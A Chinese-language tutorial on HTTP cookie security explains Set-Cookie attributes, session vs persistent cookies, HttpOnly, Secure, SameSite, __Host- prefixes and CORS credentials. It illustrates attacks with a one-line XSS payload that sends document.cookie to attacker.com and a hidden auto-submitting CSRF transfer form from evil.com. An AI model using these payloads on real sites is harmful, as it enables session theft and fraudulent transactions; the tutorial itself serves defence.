一、Cookie 是什么
Cookie 是服务器通过 HTTP 响应头写入浏览器的键值对数据,浏览器在后续请求中会自动将其携带回服务器。它是 Web 状态管理的基石,解决了 HTTP 协议无状态的本质问题。
基本数据流:
bash
Server → Set-Cookie: sessionId=abc123; HttpOnly; Secure (写入)
Browser → Cookie: sessionId=abc123 (发送)
二、一个 Cookie 只对应一个键值对
一个 Set-Cookie 响应头只能设置一个键值对,但可以通过多个响应头设置多个 Cookie:
bash
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax
Set-Cookie: userId=42; HttpOnly; Secure; SameSite=Lax
Set-Cookie: theme=dark; SameSite=Lax
浏览器发送请求时,所有匹配的 Cookie 合并在一个 Cookie 请求头中,以 ; 分隔:
bash
Cookie: sessionId=abc123; userId=42; theme=dark
重要: 请求中的
Cookie头只包含键值对本身 。HttpOnly、Secure、SameSite等安全属性只存在于服务器写入时的Set-Cookie响应头中,不会随请求发送。
三、Cookie 的完整属性
bash
Set-Cookie: sessionId=abc123;
Domain=example.com;
Path=/;
Max-Age=86400;
Secure;
HttpOnly;
SameSite=Lax
四、生命周期:会话 Cookie vs 持久化 Cookie
核心区别
| 会话 Cookie | 持久化 Cookie | |
|---|---|---|
| 设置方式 | 不设置 Expires 或 Max-Age |
设置 Expires 或 Max-Age |
| 存储位置 | 内存 | 磁盘(SQLite 文件) |
| 生命周期 | 浏览器关闭即销毁 | 到达指定时间才过期 |
| 典型用途 | 登录 Session、临时状态 | 记住登录、用户偏好 |
设置示例
bash
# Session Cookie --- 不设置时间属性
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax
# Persistent Cookie --- 推荐用 Max-Age(单位:秒)
Set-Cookie: rememberMe=token; Max-Age=2592000; HttpOnly; Secure; SameSite=Lax
# Persistent Cookie --- 用 Expires(绝对时间,受客户端时钟影响)
Set-Cookie: rememberMe=token; Expires=Sun, 23 Jun 2026 00:00:00 GMT; HttpOnly; Secure
Max-Age与Expires同时存在时,Max-Age优先级更高。
一个容易踩坑的细节
Chrome / Edge 的"会话恢复"功能(重启后恢复上次标签页)会将内存中的会话 Cookie 一并恢复,导致会话 Cookie 表现得像持久化 Cookie。不能将"浏览器关闭"作为 Session 失效的唯一保障,服务端必须有主动过期机制。
五、作用域 控制
5.1 Domain
| 设置值 | 匹配范围 |
|---|---|
Domain=example.com |
example.com 及所有子域 |
| 不设置 | 仅精确匹配当前域,不含子域 |
安全建议: 不要设置过宽的域范围,减少 Cookie 的暴露面。
5.2 Path
bash
Set-Cookie: adminToken=xyz; Path=/admin
- 请求
/admin/users→ 携带 - 请求
/api/data→ 不携带
注意: Path 不是安全边界,同域下的 JS 可以绕过 Path 读取 Cookie(除非设置了 HttpOnly)。
六、核心安全属性
6.1 HttpOnly --- 防御 XSS 读取
bash
Set-Cookie: sessionId=abc123; HttpOnly
设置后,Cookie 无法被 document.cookie 访问。
bash
// 攻击者注入的 XSS 脚本
// 没有 HttpOnly:
fetch('https://attacker.com/steal?c=' + document.cookie);
// → sessionId=abc123 被成功窃取
// 有 HttpOnly:
console.log(document.cookie);
// → ""(敏感 Cookie 不可见,攻击失效)
最佳实践: 所有认证相关 Cookie 必须设置 HttpOnly;只有确实需要前端 JS 读取的 Cookie(如某些 CSRF Token 实现)才可省略。
6.2 Secure --- 防御中间人嗅探
bash
Set-Cookie: sessionId=abc123; Secure
Cookie 仅在 HTTPS 连接下发送,HTTP 请求中完全不携带。
bash
用户连接公共 WiFi(中间人可嗅探流量)
→ 无 Secure:Cookie 明文出现在 HTTP 请求中,被截获,会话被劫持
→ 有 Secure:HTTP 请求不携带 Cookie,无法截获
配套措施: 配合 HSTS 使用,防止浏览器降级到 HTTP:
bash
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Secure只保护传输过程,不保护存储在客户端磁盘上的 Cookie 文件本身。
6.3 SameSite --- 防御 CSRF 攻击
SameSite 控制跨站请求时是否携带 Cookie,是抵御 CSRF 的核心机制。
三种取值
SameSite=Strict
- 完全禁止跨站携带 Cookie
- 缺点:用户从外部链接(邮件、搜索引擎)点击进入时,首次请求不携带 Cookie,体验差
SameSite=Lax(现代浏览器默认值,主流推荐)
| 请求类型 | 是否携带 |
|---|---|
顶层 GET 导航(<a href> 点击跳转) |
✅ 携带 |
| 跨站表单 POST 提交 | ❌ 不携带 |
<img src> 跨站加载 |
❌ 不携带 |
fetch / XHR 跨站请求 |
❌ 不携带 |
<iframe> 嵌入 |
❌ 不携带 |
SameSite=None; Secure
- 允许所有跨站请求携带 Cookie
- 必须同时设置
Secure,否则浏览器直接拒绝 - 适用场景:第三方嵌入组件(支付控件、OAuth 弹窗、跨域 iframe)
CSRF 攻击场景演示
bash
<!-- 攻击者页面 evil.com 中的隐藏表单 -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>
| Cookie 设置 | 结果 |
|---|---|
| 无 SameSite | ✅ 攻击成功,Cookie 被携带,转账执行 |
SameSite=Lax |
❌ 攻击失败,POST 跨站不携带 Cookie |
SameSite=Strict |
❌ 攻击失败 |
七、__Host- 与 __Secure- Cookie 名称前缀
通过命名前缀强制浏览器校验安全属性,服务器无需额外逻辑:
| 前缀 | 强制要求 |
|---|---|
__Secure- |
必须设置 Secure,必须通过 HTTPS 设置 |
__Host- |
必须设置 Secure,不能设置 Domain,Path 必须为 / |
bash
Set-Cookie: __Host-sessionId=abc; Secure; Path=/; HttpOnly; SameSite=Lax
防御 Cookie 投毒攻击(Cookie Tossing):
bash
攻击者控制 sub.example.com
→ 设置 Domain=example.com 的 Cookie,覆盖父域的同名 Cookie
→ 使用 __Host- 前缀后,浏览器强制不允许设置 Domain,彻底阻断此攻击
八、前端请求中的 Cookie 控制
Fetch API
bash
// 默认:不携带 Cookie
fetch('/api/data');
// 同源请求携带 Cookie
fetch('/api/data', { credentials: 'same-origin' });
// 跨源请求也携带 Cookie
fetch('https://api.example.com/data', { credentials: 'include' });
XMLHttpRequest
bash
const xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'https://api.example.com/data');
xhr.send();
服务端 CORS 必须配合设置
当前端使用 credentials: 'include' 时,服务器响应头必须明确指定:
bash
Access-Control-Allow-Origin: https://app.example.com // 不能是通配符 *
Access-Control-Allow-Credentials: true
若返回 Access-Control-Allow-Origin: *,浏览器会拒绝带凭证的跨域响应。
九、服务端写入的标准范式
标准 HTTP 响应头
bash
Set-Cookie: __Host-sessionId=<随机高熵值>;
Max-Age=3600;
Path=/;
HttpOnly;
Secure;
SameSite=Lax
C# ASP.NET Core 实现
bash
Response.Cookies.Append("__Host-sessionId", sessionToken, new CookieOptions
{
HttpOnly = true, // Prevent XSS cookie theft
Secure = true, // HTTPS only
SameSite = SameSiteMode.Lax, // Prevent CSRF
MaxAge = TimeSpan.FromHours(1), // Short lifetime for auth tokens
Path = "/",
// Do NOT set Domain --- avoids overly broad scope
});
十、安全选择建议
| 场景 | 生命周期 | 安全属性 |
|---|---|---|
| 登录 Session | 会话 Cookie | HttpOnly; Secure; SameSite=Lax |
| "记住我" Token | 持久化,7~30 天 | HttpOnly; Secure; SameSite=Lax + 服务端支持吊销 |
| 敏感操作 Token | 会话 Cookie | HttpOnly; Secure; SameSite=Strict |
| 第三方嵌入场景 | 按需 | Secure; SameSite=None |
| 用户偏好(无敏感信息) | 持久化 | SameSite=Lax(可不设 HttpOnly) |
十一、常见安全漏洞速查
| 漏洞 | 根因 | 修复 |
|---|---|---|
| 会话劫持 | 缺少 Secure,HTTP 明文传输 |
强制 HTTPS + Secure |
| XSS Cookie 窃取 | 缺少 HttpOnly |
设置 HttpOnly |
| CSRF 攻击 | 缺少 SameSite |
设置 SameSite=Lax 或 Strict |
| Cookie 投毒 | 子域可覆盖父域 Cookie | 使用 __Host- 前缀 |
| Cookie 固定攻击 | 登录后未重新生成 Session ID | 登录成功后立即写入新值 |
| Session 永不过期 | 过长的 Max-Age 或依赖浏览器关闭 |
短 Max-Age + 服务端主动过期 |
核心原则: 认证 Cookie 始终同时设置 HttpOnly + Secure + SameSite=Lax,这三者组合可防御绝大多数针对 Cookie 的 Web 攻击。敏感场景优先选用会话 Cookie,避免将高权限凭证持久化到磁盘。